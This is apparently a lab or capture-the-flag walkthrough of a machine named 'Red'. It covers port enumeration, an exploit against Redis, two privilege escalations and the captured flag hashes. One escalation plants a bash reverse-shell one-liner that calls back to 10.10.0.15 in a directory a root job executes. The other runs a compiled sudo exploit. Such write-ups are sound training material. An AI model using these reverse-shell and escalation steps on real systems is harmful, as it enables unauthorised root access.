Info

  • Name – Red
  • IP Address – 172.31.1.9

Enumeration

Open Ports

PortProtocolServiceVersion
22tcpsshOpenSSH 7.6p1 Ubuntu 4ubuntu0.3
53udpfiltereddomain
68udpfiltereddhcpc
69udpfilteredtftp
80tcphttpApache httpd 2.4.29
162udpfilteredsnmptrap
6379tcpredisRedis key-value store 4.0.8

Exploitation

Exploit Details (Metasploit)

Show metasploit options

show options

Run exploit

run
shell
whoami
cat /home/ant/access.txt

Privilege Escalation #1

Exploit Details (Permissions / Job)

  • Name – Permissions / Job
  • CVE – N/A
  • Module – N/A
  • Disclosed – N/A
  • References
    • N/A

A regular job is run that executes the /var/log/redis/log-manager.sh script with root privileges. Looking at this script we find it executes everything in the /var/log/redis/logs directory which we have write access to.

Create a reverse shell in the /var/log/redis/logs/ directory.

echo 'bash -i >& /dev/tcp/10.10.0.15/53 0>&1' > shell
chmod +x shell

Catch the reverse shell and read the system.txt file.

whoami
cat /root/system.txt

Privilege Escalation #2

Exploit Details (SUDO Qualys)

Compile the exploit and run.

make
./sudo-hax-me-a-sandwich 0
whoami
cat /root/system.txt

Loot

access.txt - 91a333c7f3815721a95d77d04a7a7e8c
system.txt - d885f78027b1af41751fbfafcb9694b7